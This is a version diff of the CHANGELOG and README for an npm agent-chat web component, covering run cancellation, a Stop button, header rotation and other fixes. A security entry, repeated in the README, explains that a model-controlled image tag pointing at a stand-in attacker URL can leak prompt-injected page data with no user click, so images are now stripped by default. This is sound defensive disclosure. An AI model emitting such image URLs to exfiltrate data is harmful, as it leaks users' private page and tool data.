@artooi/ag-ui-web-component 0.3.0 → 0.4.0

package/CHANGELOG.md

@@ -7,6 +7,84 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 ## [Unreleased]
 
+## [0.4.0] — 2026-06-12
+
+### Added
+
+- **Cancel / stop a run.** `AgUiClient.cancel()` aborts the in-flight
+  streaming request (`abortRun()` — AG-UI's transport-level cancel; the
+  server observes the disconnect) and stops the multi-round run loop: tool
+  calls collected before the abort are not executed and no further round
+  starts (a frontend tool handler already running completes, but its result
+  doesn't trigger a re-run). Safe no-op with no run in flight.
+- **`onCancelled()` handler** on `AgUiClientHandlers` — the deliberate-stop
+  sibling of `onError`. Partial assistant text stays in the transcript and
+  is persisted (`onPersist`), so a reload shows the truncated exchange;
+  `onSettled` still fires (terminal-rest guarantee). Both the
+  abort-resolves and abort-rejects behaviours of `@ag-ui/client` are
+  handled (its `runAgent` filters `AbortError` and resolves normally;
+  re-throwing versions are caught via the error's name).
+- **The Send button becomes Stop while a run is in flight** — same button,
+  label + `aria-label` swap, `data-state="running"` for styling — through
+  the whole interaction including between tool rounds. **Escape** in the
+  composer also cancels (only when the skills palette is closed; the
+  palette keeps its own Escape). After a cancel the transcript gets a muted
+  **"⏹ Stopped"** note (`.stopped-note`), not an error bubble.
+- **Cancelling declines an open confirmation card.**
+  `requestConfirmation` accepts `ConfirmationOptions` with an
+  `AbortSignal`; aborting resolves the pending decision as declined
+  (`data-resolved="declined"`). A decision already made wins over a late
+  abort.
+
+### Changed
+
+- `newChat()` now cancels any in-flight run before discarding the client —
+  previously the old agent kept streaming into a cleared transcript.
+- The Send button is no longer `disabled` during a run (it's the Stop
+  control now); `AgUiClientHandlers.onCancelled` is required, so hosts
+  implementing the handlers interface must add it.
+
+## [0.3.1] — 2026-06-10
+
+### Security
+
+- **`<img>` is stripped from rendered assistant markdown by default.** A
+  model-controlled `<img src="https://attacker/?d=...">` is fetched by the
+  browser with no user interaction, which made the sanitizer allowlist a
+  zero-click exfiltration channel for prompt-injected page data (page maps,
+  state hooks, tool results). Hosts that trust their content can opt back in
+  via the new `allowImages` element property (or `renderMarkdown(text,
+  { allowImages: true })`); when enabled, DOMPurify still strips event
+  handlers and `javascript:` URLs as before.
+
+### Fixed
+
+- **Rotated headers now reach the agent stream.** `HttpAgent` is built once
+  per conversation with the headers baked into its constructor, so a rotated
+  token (CSRF, short-lived JWT) never reached the agent endpoint and long
+  sessions 401'd mid-conversation — even though the skills/tools catalog
+  fetches already re-read `headers` per request. The element now passes a
+  live `getHeaders` callback to the agent factory and `createHttpAgent`'s
+  fetch wrapper overlays the fresh values on every request. Custom
+  `agentFactory` implementations can read the new optional
+  `HttpAgentOptions.getHeaders` to do the same.
+- **Removed the phantom `./style.css` export.** `package.json` advertised
+  `@artooi/ag-ui-web-component/style.css` → `dist/ag-ui-web-component.bundle.css`,
+  but the build emits no CSS file (styles live as JS strings and are injected
+  into the Shadow DOM), so importing the advertised path always failed.
+- **The shared `marked` singleton is no longer mutated.** Module-scope
+  `marked.setOptions({ gfm, breaks })` clobbered a host app's `marked`
+  configuration whenever the dependency was deduped. Rendering now uses a
+  local `Marked` instance; the global keeps its defaults.
+
+### Added
+
+- **Auto-prettified tool-card labels.** When no label is found anywhere in
+  the chain (`x-summary` → `toolSummaries` → fetched `data-tools-url`
+  catalog), cards now fall back to a prettified name (`list_projects` →
+  "List projects") instead of the raw identifier. Exported as
+  `prettifyToolName`.
+
 ## [0.3.0] — 2026-06-03
 
 ### Added
@@ -172,7 +250,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 ### Notes
 - First release — exercising the automated npm OIDC publish pipeline end-to-end.
 
-[Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.0...HEAD
+[Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.4.0...HEAD
+[0.4.0]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.1...v0.4.0
+[0.3.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.0...v0.3.1
 [0.3.0]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.2...v0.3.0
 [0.2.2]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.1...v0.2.2
 [0.2.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.0...v0.2.1

package/README.md

@@ -40,6 +40,7 @@ No framework, no Django, no admin specifics live here. Downstream consumers (e.g
 - [Quickstart](#quickstart)
 - [Core concepts](#core-concepts)
   - [The run loop and the AG-UI client](#the-run-loop-and-the-ag-ui-client)
+  - [Stopping a run](#stopping-a-run)
   - [Registering tools](#registering-tools)
   - [Inline confirmation (`x-destructive` / `x-confirm` / `confirmPredicate`)](#inline-confirmation-x-destructive--x-confirm--confirmpredicate)
   - [DOM-driver and animation primitives](#dom-driver-and-animation-primitives)
@@ -68,7 +69,6 @@ The package ships two builds (see [`package.json` exports](package.json)):
 | --- | --- | --- |
 | `@artooi/ag-ui-web-component` | ESM library build; `@ag-ui/*` stay **external** | You bundle the app yourself (Vite, webpack, esbuild) and want to dedupe `@ag-ui/*`. |
 | `@artooi/ag-ui-web-component/bundle` | ESM bundle with `@ag-ui/*` **inlined**, minified | Drop in via a single `<script type="module">` with no build step. |
-| `@artooi/ag-ui-web-component/style.css` | Extracted CSS sidecar | Rarely needed — styles are injected into the Shadow DOM at runtime. |
 
 ### The vendored-bundle story
 
@@ -157,10 +157,15 @@ That's the whole integration: an `endpoint` attribute pointing at your AG-UI ser
 | `density` | — | CSS-only: `comfortable` (default) / `compact`. |
 | `placement` | — | CSS-only: `floating` (default) / `bottom-left` / `side` / `full` / `embedded`. |
 
-**Properties** (JS only, not attributes): `headers`, `autoConfirm`, `confirmPredicate`,
-`agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`, `getPageMap`,
-`autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`, `toolSummaries`,
-plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
+**Properties** (JS only, not attributes): `headers`, `allowImages`, `autoConfirm`,
+`confirmPredicate`, `agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`,
+`getPageMap`, `autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`,
+`toolSummaries`, plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
+
+`allowImages` (default `false`) re-enables `<img>` in rendered assistant markdown.
+It is off by default because a model-controlled image URL is fetched by the browser
+with no user interaction — a zero-click exfiltration channel for prompt-injected
+page data. Enable only when the content source is trusted.
 
 `toolSummaries` is a `Record<string, string>` mapping tool name → a friendly card
 label, used when a tool has no `x-summary` in its own schema. Built-in and client tools
@@ -200,6 +205,28 @@ card (honouring `data-tool-display`), so server-side output is visible too. The
 and context are read **fresh on every run** (`getTools()` / `getContext()`), so they always reflect
 the current page state.
 
+### Stopping a run
+
+While a run is in flight the **Send button becomes Stop** (same button, label/`aria-label` swap,
+`data-state="running"` for styling); clicking it — or pressing **Escape** in the composer (when
+the skills palette is closed; the palette owns Escape while open) — calls `AgUiClient.cancel()`.
+AG-UI has no server-side cancel route: cancelling **aborts the streaming request**
+(`abortRun()`), and the server observes the disconnect. On cancel:
+
+- Partial assistant text already streamed **stays in the transcript** and is persisted via
+  `onPersist`, so a reload shows the truncated exchange. A muted **"⏹ Stopped"** note is appended
+  (`.stopped-note`) — a deliberate stop is not an error, so no ⚠️ bubble.
+- The run loop stops: tool calls collected before the abort are **not executed**, and no further
+  round starts. A frontend tool handler already running completes, but its result doesn't trigger
+  a re-run.
+- An **open confirmation card is declined** (`data-resolved="declined"`) — cancelling the run
+  answers the pending question.
+- The new `onCancelled()` handler fires instead of `onError()`; `onSettled()` still follows
+  (the terminal-rest guarantee), returning the button to **Send**.
+
+`cancel()` with no run in flight is a safe no-op. `newChat()` cancels any in-flight run before
+discarding the client.
+
 ### Registering tools
 
 A tool is a `ClientTool`: `{ name, description, parameters, handler }`, where `parameters` is a
@@ -562,8 +589,9 @@ re-export point. Internal modules import from leaf paths.
 | --- | --- | --- |
 | `ToolCallCard` | class | A live tool-call card for the transcript. |
 | `ToolCallStatus` / `SettledStatus` / `ToolDisplayMode` | type | Card lifecycle states + display mode. |
-| `requestConfirmation(host, request)` | function | Append the inline confirmation card to the transcript. |
+| `requestConfirmation(host, request, options?)` | function | Append the inline confirmation card to the transcript. |
 | `ConfirmationRequest` | type | What the card displays. |
+| `ConfirmationOptions` | type | `{ signal? }` — aborting resolves the card as declined (the Stop control's hook). |
 | `renderMarkdown(text)` | function | Render sanitized markdown/HTML (marked + DOMPurify). |
 | `typeInto` / `highlightThenClick` / `pressThenClick` / `selectOption` / `toggleControl` / `scrollIntoCenterView` / `focusWithFlash` / `prefersReducedMotion` | function | Animation primitives. |
 | `fillField` / `clickElement` / `pressButton` / `selectControl` / `setControlValue` / `toggleCheckbox` | function | DOM-driver primitives. |